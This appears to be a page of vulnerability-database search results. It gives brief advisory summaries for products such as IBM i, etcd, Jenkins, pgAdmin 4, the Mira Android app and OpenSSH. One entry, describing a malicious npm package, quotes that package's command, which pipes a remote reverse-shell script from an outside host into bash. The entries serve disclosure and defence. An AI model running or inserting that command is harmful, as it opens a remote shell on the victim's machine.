36701 matches found
PT-2026-71272
IBM i 7.6, 7.5, 7.4, and 7.3 could allow a remote authenticated attacker to bypass security restrictions due to improper validation of an attacker-supplied user profile name...
ROS-20260812-73-0018
The vulnerability in dnsdist relates to the use of an untrusted intermediate policy file. Exploiting this vulnerability can allow a remote attacker to gain unauthorized access to protected information...
Microsoft Teams Authentication Privilege Escalation
The vulnerability of the corporate platform Microsoft Teams is related to the lack of authentication. Exploiting this vulnerability can allow a malicious actor to increase their privileges remotely...
Azure SRE Agent Authentication Privilege Escalation
The vulnerability of the AI-based tool for automatic analysis of root causes and effective response to incidents in Azure SRE Agents is related to the lack of authentication. Exploiting this vulnerability can allow attackers, operating remotely, to increase their privileges...
ROS-20260812-73-0001
The vulnerability in etcd is related to deficiencies in the authentication mechanism. Exploiting this vulnerability can allow an attacker, operating remotely, to gain unauthorized access to protected information...
ROS-20260812-73-0035
The vulnerability in Jenkins is related to the lack of data encryption measures. Exploiting this vulnerability can allow an attacker, operating remotely, to gain unauthorized access to protected information...
ROS-20260812-73-0002
The vulnerability in etcd is related to deficiencies in the authentication process. Exploiting this vulnerability can allow a malicious actor, operating remotely, to gain unauthorized access to protected information...
ROS-20260812-73-0033
The vulnerability in Jenkins is related to deficiencies in the authentication process. Exploiting this vulnerability allows an attacker, operating remotely, to gain unauthorized access to protected information...
ROS-20260812-73-0013
The vulnerability in dnsdist is related to deficiencies in the authentication mechanism. Exploiting this vulnerability allows a malicious actor, operating remotely, to gain unauthorized access to protected information...
pgAdmin 4 Import/Export Data Command Execution
The vulnerability of the Import/Export Data function of the pgAdmin 4 database management tool is related to the failure to take measures to neutralize special elements. Exploiting this vulnerability allows a malicious actor to execute arbitrary operating system commands on the server remotely...
Microsoft Teams Privilege Escalation
The vulnerability of the corporate platform Microsoft Teams is related to deficiencies in authentication procedures. Exploiting this vulnerability can allow attackers to increase their privileges remotely...
MAL-2026-13764 Malicious code in internallib_v164 (npm)
--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector f8ea0eaa858b83bda14f7093d473013b1fbc1301d8f1401a837e67b2a8850d86 index.js exports a function that runs /bin/bash -c "curl https://reverse-shell.sh/10.0.72.234:4444 | sh", fetching a reverse-shell script from...
CVE-2026-67568
The distributed Mira Android APK v4.5.15.4 allows an attacker read/write access to reproductive health profiles from internet connected hosts, which could result in forgery, deletion, or destruction of health information...
CVE-2026-67568 Mira Hormone Monitor, Mira Android App Use of Hard-coded Credentials
The distributed Mira Android APK v4.5.15.4 allows an attacker read/write access to reproductive health profiles from internet connected hosts, which could result in forgery, deletion, or destruction of health information...
CVE-2026-67568
The distributed Mira Android APK v4.5.15.4 allows an attacker read/write access to reproductive health profiles from internet connected hosts, which could result in forgery, deletion, or destruction of health information...
CVE-2026-67568
The CVE-2026-67568 entry concerns Mira Android APK v4.5.15.4, where an attacker could read/write reproductive health profiles from internet-connected hosts, enabling forgery, deletion, or destruction of health information. Public metrics show a critical impact (CVSS 3.1/3.1: 9.1; CVSS 4.0/4.0: 9....
CVE-2026-73281
In ssh-agent in OpenSSH before 10.5, some operations can occur remotely but were intended to occur only locally, including operations that add tokens or use keys. This is caused by misinteraction between agent locking and the [email protected] extension...
CVE-2026-65671
Heap-based buffer overflow in Windows Remote Access API allows an authorized attacker to elevate privileges locally...